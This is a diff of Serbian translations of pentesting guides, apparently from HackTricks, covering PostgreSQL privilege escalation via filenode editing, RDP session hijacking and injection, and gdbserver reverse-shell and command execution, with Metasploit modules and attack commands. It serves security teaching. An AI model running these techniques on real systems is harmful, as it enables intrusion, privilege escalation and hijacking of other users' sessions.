||||
Koraci napada su:
|
||||
|
||||
1. Dobijanje PostgreSQL direktorijuma sa podacima
|
||||
2. Dobijanje relativne putanje do fajlnoda, povezanog sa tabelom `pg_authid`
|
||||
3. Preuzimanje fajlnoda kroz funkcije `lo_*`
|
||||
2. Dobijanje relativne putanje do filenode-a, povezanog sa tabelom `pg_authid`
|
||||
3. Preuzimanje filenode-a kroz funkcije `lo_*`
|
||||
4. Dobijanje tipa podataka, povezanog sa tabelom `pg_authid`
|
||||
5. Koristite [PostgreSQL Editor Fajlnoda](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite fajlnod](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja.
|
||||
6. Ponovo otpremite uređeni fajlnod putem funkcija `lo_*`, i prepišite originalni fajl na disku
|
||||
7. _(Po želji)_ Obrišite keširanu tabelu iz memorije pokretanjem skupog SQL upita
|
||||
8. Sada biste trebali imati privilegije potpunog superadministratora.
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [uredite filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); postavite sve `rol*` boolean zastave na 1 za puna ovlašćenja.
|
||||
6. Ponovo otpremite uređeni filenode putem funkcija `lo_*`, i prepišite originalni fajl na disku
|
||||
7. _(Opciono)_ Obrišite keširanu tabelu iz memorije pokretanjem skupog SQL upita
|
||||
8. Sada biste trebali imati privilegije potpunog superadmina.
|
||||
|
||||
## **POST**
|
||||
```
|
||||
|
@ -718,9 +746,9 @@ msf> use auxiliary/admin/postgres/postgres_readfile
|
|||
msf> use exploit/linux/postgres/postgres_payload
|
||||
msf> use exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
### logovanje
|
||||
### beleženje
|
||||
|
||||
Unutar fajla _**postgresql.conf**_ možete omogućiti logove postgresql baze podataka menjajući:
|
||||
Unutar fajla _**postgresql.conf**_ možete omogućiti postgresql zapise menjajući:
|
||||
```bash
|
||||
log_statement = 'all'
|
||||
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
|
||||
|
@ -733,8 +761,8 @@ Zatim, **ponovo pokrenite servis**.
|
|||
|
||||
### pgadmin
|
||||
|
||||
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj za PostgreSQL.\
|
||||
Možete pronaći **šifre** unutar _**pgadmin4.db**_ datoteke\
|
||||
[pgadmin](https://www.pgadmin.org) je platforma za administraciju i razvoj PostgreSQL baze podataka.\
|
||||
Možete pronaći **šifre** unutar _**pgadmin4.db**_ fajla.\
|
||||
Možete ih dešifrovati koristeći _**decrypt**_ funkciju unutar skripte: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
|
||||
```bash
|
||||
sqlite3 pgadmin4.db ".schema"
|
||||
|
@ -744,6 +772,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl nazvan **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervni ili rezervni zapis ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
Klijentska autentikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl nazvan **pg\_hba.conf**. Ovaj fajl sadrži niz zapisa, pri čemu svaki specificira tip konekcije, opseg IP adresa klijenta (ako je primenljivo), ime baze podataka, korisničko ime i metod autentikacije koji se koristi za povezivanje. Prvi zapis koji se poklapa sa tipom konekcije, adresom klijenta, traženom bazom podataka i korisničkim imenom se koristi za autentikaciju. Ne postoji rezervna opcija ako autentikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
|
||||
Dostupni metodi autentikacije zasnovani na lozinkama u pg\_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširan, kriptovano enkriptovan ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg\_authid.
|
||||
Dostupni metodi autentikacije zasnovani na lozinkama u pg\_hba.conf su **md5**, **crypt** i **password**. Ovi metodi se razlikuju u načinu prenosa lozinke: MD5 heširanje, kriptovano šifrovanje ili čisti tekst. Važno je napomenuti da metoda crypt ne može biti korišćena sa lozinkama koje su enkriptovane u pg\_authid.
|
||||
|
|
|
@ -10,19 +10,19 @@ Drugi načini podrške HackTricks-u:
|
|||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejsnu vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ovaj setup omogućava besprekornu kontrolu i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na lokalni uređaj korisnika.
|
||||
Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejsnu vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ovaj setup omogućava besprekorno upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na lokalni uređaj korisnika.
|
||||
|
||||
**Podrazumevani port:** 3389
|
||||
```
|
||||
|
@ -67,9 +67,9 @@ rdp\_check.py iz impacket-a vam omogućava da proverite da li su neki podaci za
|
|||
```bash
|
||||
rdp_check <domain>/<name>:<password>@<IP>
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -91,7 +91,7 @@ Sada ćete biti unutar odabrane RDP sesije i moraćete da se predstavite kao kor
|
|||
|
||||
**Važno**: Kada pristupite aktivnoj RDP sesiji, isključićete korisnika koji je koristio sesiju.
|
||||
|
||||
Možete dobiti lozinke iz procesa ispisivanjem, ali ovaj metod je mnogo brži i omogućava vam da interagujete sa virtuelnim desktopom korisnika (lozinke u Notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)
|
||||
Možete dobiti lozinke iz procesa iskopiranjem, ali ovaj metod je mnogo brži i omogućava vam da interagujete sa virtuelnim desktopom korisnika (lozinke u Notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)
|
||||
|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -106,7 +106,7 @@ Kombinovanjem ove tehnike sa **stickykeys** ili **utilman** moći ćete da prist
|
|||
|
||||
Možete pretražiti RDP-ove koji su već zaraženi jednom od ovih tehnika sa: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Ubacivanje Procesa
|
||||
### RDP Injekcija Procesa
|
||||
|
||||
Ako se neko iz drugog domena ili sa **većim privilegijama prijavi putem RDP-a** na računar gde **vi imate administratorske privilegije**, možete **ubaciti** svoj beacon u njegov **RDP sesijski proces** i delovati kao on:
|
||||
|
||||
|
@ -122,12 +122,12 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** je post-exploitation okvir kreiran u Powershell-u, prvenstveno dizajniran da automatizuje **Shadow** napad na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **vidi desktop svog žrtve bez njegovog pristanka**, čak i da ga kontroliše po zahtevu, koristeći alate koji su inherentni samom operativnom sistemu.
|
||||
**AutoRDPwn** je post-exploitation okvir kreiran u Powershell-u, dizajniran pretežno za automatizaciju **Shadow** napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **vidi desktop svoje žrtve bez njenog pristanka**, čak i da ga kontroliše po zahtevu, koristeći alate koji su inherentni samom operativnom sistemu.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* Kontrola miša i tastature na automatizovan način sa komandne linije
|
||||
* Kontrola clipboard-a na automatizovan način sa komandne linije
|
||||
* Pokretanje SOCKS proxy-ja sa klijenta koji usmerava komunikaciju mreže ka cilju preko RDP-a
|
||||
* Pokretanje SOCKS proxy-ja sa klijenta koji usmerava mrežnu komunikaciju ka cilju preko RDP-a
|
||||
* Izvršavanje proizvoljnih SHELL i PowerShell komandi na cilju bez otpremanja fajlova
|
||||
* Otpremanje i preuzimanje fajlova sa/cilju čak i kada su transferi fajlova onemogućeni na cilju
|
||||
|
||||
|
@ -150,9 +150,9 @@ Name: Nmap
|
|||
Description: Nmap with RDP Scripts
|
||||
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -162,10 +162,10 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Testiranje bezbednosti udaljenog GdbServera
|
||||
# Pentestiranje udaljenog GdbServera
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -14,15 +14,15 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se.
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje istražuju, otvaraju školjke i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Osnovne informacije**
|
||||
|
||||
**gdbserver** je alat koji omogućava udaljeno debagovanje programa. Pokreće se zajedno sa programom koji treba da se debaguje na istom sistemu, poznatom kao "cilj". Ova postavka omogućava **GNU Debugger-u** da se poveže sa drugom mašinom, "domaćinom", gde se čuva izvorni kod i binarna kopija programa koji se debaguje. Veza između **gdbserver-a** i debagera može se uspostaviti preko TCP-a ili serijske linije, što omogućava raznovrsne postavke debagovanja.
|
||||
**gdbserver** je alat koji omogućava udaljeno debugovanje programa. Pokreće se zajedno sa programom koji zahteva debugovanje na istom sistemu, poznatom kao "cilj". Ova postavka omogućava **GNU Debugger-u** da se poveže sa drugom mašinom, "domaćinom", gde se čuva izvorni kod i binarna kopija debugovanog programa. Veza između **gdbserver-a** i debuggera može se uspostaviti preko TCP-a ili serijske linije, što omogućava raznovrsne postavke za debugovanje.
|
||||
|
||||
Možete naterati **gdbserver da osluškuje na bilo kom portu** i trenutno **nmap nije sposoban da prepozna uslugu**.
|
||||
|
||||
|
@ -53,9 +53,9 @@ run
|
|||
|
||||
# You should get your reverse-shell
|
||||
```
|
||||
### Izvršavanje proizvoljnih naredbi
|
||||
### Izvršavanje proizvoljnih komandi
|
||||
|
||||
Postoji još jedan način da **naterate debugger da izvrši proizvoljne naredbe putem** [**python prilagođenog skripta preuzetog sa ovog linka**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
Postoji još jedan način da **naterate debugger da izvrši proizvoljne komande putem** [**python prilagođenog skripta preuzetog sa ovog linka**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -195,9 +195,9 @@ RemoteCmd()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kuda sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -207,7 +207,7 @@ RemoteCmd()
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|